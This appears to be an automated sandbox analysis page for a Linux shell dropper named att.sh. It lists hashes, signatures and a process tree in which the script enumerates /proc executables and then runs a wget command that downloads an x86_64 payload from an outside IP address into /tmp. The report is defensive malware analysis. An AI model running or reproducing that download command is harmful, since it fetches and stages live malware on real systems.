7d450ec8c3acd95173a6245e0480cfdf394759597a100c8d739f7fb417fc0c11

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20261019-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/11/2026, 12:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
att.sh
Size 1KB
Sample261102-plwpzsb15r
SHA256 7d450ec8c3acd95173a6245e0480cfdf394759597a100c8d739f7fb417fc0c11
MD5 3ed831f58d91f254181adcc693aa79eb
SHA1 f1ec15497955d77b8028b322db59a4994fdb7c5e
SHA512 0cb030a20885599ebd9a01f108b7850a05a61c1996732976073e2b24b467a3a744e96e46f9aa3efb5eed2cd91f93a84d58543bb2ecaaf107e3ec59fb263e338e
TLSH
T15521F1E6F874A972B60E182C734D1158D8836C9F495AEC41808B6E30B90E55C723BB23
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/att	wget

/tmp/att.sh
/tmp/att.sh
1⤵
PID:1518
- /bin/uname
  uname -m
  2⤵
  PID:1519
- /bin/ls
  ls /proc
  2⤵
  - Reads runtime system information
  PID:1521
- /bin/grep
  grep -E "^[0-9]+\$"
  2⤵
  PID:1522
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:1523
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:1524
- /bin/readlink
  readlink /proc/1010/exe
  2⤵
  PID:1525
- /bin/readlink
  readlink /proc/1015/exe
  2⤵
  PID:1526
- /bin/readlink
  readlink /proc/1020/exe
  2⤵
  PID:1527
- /bin/readlink
  readlink /proc/1024/exe
  2⤵
  PID:1528
- /bin/readlink
  readlink /proc/1028/exe
  2⤵
  PID:1529
- /bin/readlink
  readlink /proc/1032/exe
  2⤵
  PID:1530
- /bin/readlink
  readlink /proc/1036/exe
  2⤵
  PID:1532
- /bin/readlink
  readlink /proc/1041/exe
  2⤵
  PID:1534
- /bin/readlink
  readlink /proc/1045/exe
  2⤵
  PID:1535
- /bin/readlink
  readlink /proc/1047/exe
  2⤵
  PID:1536
- /bin/readlink
  readlink /proc/1050/exe
  2⤵
  PID:1537
- /bin/readlink
  readlink /proc/1053/exe
  2⤵
  PID:1538
- /bin/readlink
  readlink /proc/1055/exe
  2⤵
  PID:1539
- /bin/readlink
  readlink /proc/1062/exe
  2⤵
  PID:1540
- /bin/readlink
  readlink /proc/1065/exe
  2⤵
  PID:1541
- /bin/readlink
  readlink /proc/1069/exe
  2⤵
  PID:1542
- /bin/readlink
  readlink /proc/1071/exe
  2⤵
  PID:1543
- /bin/readlink
  readlink /proc/1076/exe
  2⤵
  PID:1544
- /bin/readlink
  readlink /proc/1082/exe
  2⤵
  PID:1545
- /bin/readlink
  readlink /proc/1085/exe
  2⤵
  PID:1546
- /bin/readlink
  readlink /proc/1086/exe
  2⤵
  PID:1548
- /bin/readlink
  readlink /proc/1089/exe
  2⤵
  PID:1549
- /bin/readlink
  readlink /proc/1090/exe
  2⤵
  PID:1550
- /bin/readlink
  readlink /proc/1093/exe
  2⤵
  PID:1551
- /bin/readlink
  readlink /proc/1095/exe
  2⤵
  PID:1552
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:1553
- /bin/readlink
  readlink /proc/1136/exe
  2⤵
  PID:1554
- /bin/readlink
  readlink /proc/1147/exe
  2⤵
  PID:1555
- /bin/readlink
  readlink /proc/115/exe
  2⤵
  PID:1556
- /bin/readlink
  readlink /proc/1151/exe
  2⤵
  PID:1557
- /bin/readlink
  readlink /proc/1152/exe
  2⤵
  PID:1558
- /bin/readlink
  readlink /proc/1169/exe
  2⤵
  PID:1559
- /bin/readlink
  readlink /proc/1184/exe
  2⤵
  PID:1560
- /bin/readlink
  readlink /proc/1188/exe
  2⤵
  PID:1562
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:1563
- /bin/readlink
  readlink /proc/1239/exe
  2⤵
  PID:1564
- /bin/readlink
  readlink /proc/1244/exe
  2⤵
  PID:1565
- /bin/readlink
  readlink /proc/1297/exe
  2⤵
  PID:1566
- /bin/readlink
  readlink /proc/1299/exe
  2⤵
  PID:1567
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:1568
- /bin/readlink
  readlink /proc/1304/exe
  2⤵
  PID:1569
- /bin/readlink
  readlink /proc/1319/exe
  2⤵
  PID:1570
- /bin/readlink
  readlink /proc/1325/exe
  2⤵
  PID:1571
- /bin/readlink
  readlink /proc/1340/exe
  2⤵
  PID:1572
- /bin/readlink
  readlink /proc/137/exe
  2⤵
  PID:1573
- /bin/readlink
  readlink /proc/1372/exe
  2⤵
  PID:1574
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:1575
- /bin/readlink
  readlink /proc/1487/exe
  2⤵
  PID:1576
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:1577
- /bin/readlink
  readlink /proc/1511/exe
  2⤵
  PID:1578
- /bin/readlink
  readlink /proc/1514/exe
  2⤵
  PID:1579
- /bin/readlink
  readlink /proc/1515/exe
  2⤵
  PID:1580
- /bin/readlink
  readlink /proc/1516/exe
  2⤵
  PID:1581
- /bin/readlink
  readlink /proc/1518/exe
  2⤵
  PID:1582
- /bin/readlink
  readlink /proc/1520/exe
  2⤵
  PID:1583
- /bin/readlink
  readlink /proc/1521/exe
  2⤵
  PID:1584
- /bin/readlink
  readlink /proc/1522/exe
  2⤵
  PID:1585
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:1586
- /bin/readlink
  readlink /proc/166/exe
  2⤵
  PID:1587
- /bin/readlink
  readlink /proc/167/exe
  2⤵
  PID:1588
- /bin/readlink
  readlink /proc/168/exe
  2⤵
  PID:1589
- /bin/readlink
  readlink /proc/169/exe
  2⤵
  PID:1590
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:1591
- /bin/readlink
  readlink /proc/170/exe
  2⤵
  PID:1592
- /bin/readlink
  readlink /proc/171/exe
  2⤵
  PID:1593
- /bin/readlink
  readlink /proc/172/exe
  2⤵
  PID:1594
- /bin/readlink
  readlink /proc/173/exe
  2⤵
  PID:1595
- /bin/readlink
  readlink /proc/174/exe
  2⤵
  PID:1596
- /bin/readlink
  readlink /proc/175/exe
  2⤵
  PID:1597
- /bin/readlink
  readlink /proc/176/exe
  2⤵
  PID:1598
- /bin/readlink
  readlink /proc/177/exe
  2⤵
  PID:1599
- /bin/readlink
  readlink /proc/178/exe
  2⤵
  PID:1600
- /bin/readlink
  readlink /proc/179/exe
  2⤵
  PID:1601
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:1602
- /bin/readlink
  readlink /proc/180/exe
  2⤵
  PID:1603
- /bin/readlink
  readlink /proc/181/exe
  2⤵
  PID:1604
- /bin/readlink
  readlink /proc/182/exe
  2⤵
  PID:1605
- /bin/readlink
  readlink /proc/183/exe
  2⤵
  PID:1606
- /bin/readlink
  readlink /proc/185/exe
  2⤵
  PID:1607
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:1608
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:1610
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:1611
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:1612
- /bin/readlink
  readlink /proc/210/exe
  2⤵
  PID:1613
- /bin/readlink
  readlink /proc/211/exe
  2⤵
  PID:1614
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:1615
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:1616
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:1617
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:1618
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:1621
- /bin/readlink
  readlink /proc/261/exe
  2⤵
  PID:1622
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:1623
- /bin/readlink
  readlink /proc/277/exe
  2⤵
  PID:1625
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:1626
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:1627
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:1628
- /bin/readlink
  readlink /proc/30/exe
  2⤵
  PID:1629
- /bin/readlink
  readlink /proc/31/exe
  2⤵
  PID:1630
- /bin/readlink
  readlink /proc/32/exe
  2⤵
  PID:1631
- /bin/readlink
  readlink /proc/34/exe
  2⤵
  PID:1632
- /bin/readlink
  readlink /proc/35/exe
  2⤵
  PID:1633
- /bin/readlink
  readlink /proc/358/exe
  2⤵
  PID:1634
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:1635
- /bin/readlink
  readlink /proc/360/exe
  2⤵
  PID:1636
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:1637
- /bin/readlink
  readlink /proc/432/exe
  2⤵
  PID:1638
- /bin/readlink
  readlink /proc/434/exe
  2⤵
  PID:1639
- /bin/readlink
  readlink /proc/439/exe
  2⤵
  PID:1640
- /bin/readlink
  readlink /proc/446/exe
  2⤵
  PID:1641
- /bin/readlink
  readlink /proc/447/exe
  2⤵
  PID:1642
- /bin/readlink
  readlink /proc/448/exe
  2⤵
  PID:1643
- /bin/readlink
  readlink /proc/451/exe
  2⤵
  PID:1644
- /bin/readlink
  readlink /proc/452/exe
  2⤵
  PID:1645
- /bin/readlink
  readlink /proc/453/exe
  2⤵
  PID:1646
- /bin/readlink
  readlink /proc/465/exe
  2⤵
  PID:1647
- /bin/readlink
  readlink /proc/466/exe
  2⤵
  PID:1648
- /bin/readlink
  readlink /proc/467/exe
  2⤵
  PID:1649
- /bin/readlink
  readlink /proc/487/exe
  2⤵
  PID:1650
- /bin/readlink
  readlink /proc/490/exe
  2⤵
  PID:1651
- /bin/readlink
  readlink /proc/496/exe
  2⤵
  PID:1652
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:1653
- /bin/readlink
  readlink /proc/523/exe
  2⤵
  PID:1654
- /bin/readlink
  readlink /proc/524/exe
  2⤵
  PID:1655
- /bin/readlink
  readlink /proc/545/exe
  2⤵
  PID:1656
- /bin/readlink
  readlink /proc/551/exe
  2⤵
  PID:1657
- /bin/readlink
  readlink /proc/561/exe
  2⤵
  PID:1659
- /bin/readlink
  readlink /proc/575/exe
  2⤵
  PID:1660
- /bin/readlink
  readlink /proc/599/exe
  2⤵
  PID:1661
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:1662
- /bin/readlink
  readlink /proc/600/exe
  2⤵
  PID:1663
- /bin/readlink
  readlink /proc/630/exe
  2⤵
  PID:1664
- /bin/readlink
  readlink /proc/638/exe
  2⤵
  PID:1665
- /bin/readlink
  readlink /proc/652/exe
  2⤵
  PID:1666
- /bin/readlink
  readlink /proc/653/exe
  2⤵
  PID:1667
- /bin/readlink
  readlink /proc/660/exe
  2⤵
  PID:1668
- /bin/readlink
  readlink /proc/672/exe
  2⤵
  PID:1669
- /bin/readlink
  readlink /proc/687/exe
  2⤵
  PID:1670
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:1671
- /bin/readlink
  readlink /proc/713/exe
  2⤵
  PID:1672
- /bin/readlink
  readlink /proc/720/exe
  2⤵
  PID:1673
- /bin/readlink
  readlink /proc/78/exe
  2⤵
  PID:1674
- /bin/readlink
  readlink /proc/79/exe
  2⤵
  PID:1675
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:1676
- /bin/readlink
  readlink /proc/80/exe
  2⤵
  PID:1677
- /bin/readlink
  readlink /proc/81/exe
  2⤵
  PID:1678
- /bin/readlink
  readlink /proc/82/exe
  2⤵
  PID:1679
- /bin/readlink
  readlink /proc/83/exe
  2⤵
  PID:1680
- /bin/readlink
  readlink /proc/84/exe
  2⤵
  PID:1681
- /bin/readlink
  readlink /proc/86/exe
  2⤵
  PID:1682
- /bin/readlink
  readlink /proc/89/exe
  2⤵
  PID:1683
- /bin/readlink
  readlink /proc/897/exe
  2⤵
  PID:1684
- /bin/readlink
  readlink /proc/899/exe
  2⤵
  PID:1685
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:1686
- /bin/readlink
  readlink /proc/904/exe
  2⤵
  PID:1687
- /bin/readlink
  readlink /proc/907/exe
  2⤵
  PID:1688
- /bin/readlink
  readlink /proc/921/exe
  2⤵
  PID:1689
- /bin/readlink
  readlink /proc/926/exe
  2⤵
  PID:1690
- /bin/readlink
  readlink /proc/940/exe
  2⤵
  PID:1691
- /bin/readlink
  readlink /proc/946/exe
  2⤵
  PID:1692
- /bin/readlink
  readlink /proc/959/exe
  2⤵
  PID:1693
- /bin/readlink
  readlink /proc/963/exe
  2⤵
  PID:1694
- /bin/readlink
  readlink /proc/966/exe
  2⤵
  PID:1695
- /bin/readlink
  readlink /proc/968/exe
  2⤵
  PID:1696
- /bin/readlink
  readlink /proc/973/exe
  2⤵
  PID:1697
- /bin/readlink
  readlink /proc/98/exe
  2⤵
  PID:1698
- /bin/readlink
  readlink /proc/982/exe
  2⤵
  PID:1699
- /bin/readlink
  readlink /proc/986/exe
  2⤵
  PID:1700
- /bin/readlink
  readlink /proc/995/exe
  2⤵
  PID:1701
- /bin/rm
  rm -f att
  2⤵
  PID:1702
- /usr/bin/wget
  wget -q -T 10 http://94.154.43.102/atterna/x86_64 -O att
  2⤵
  - Writes file to tmp directory
  PID:1703

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads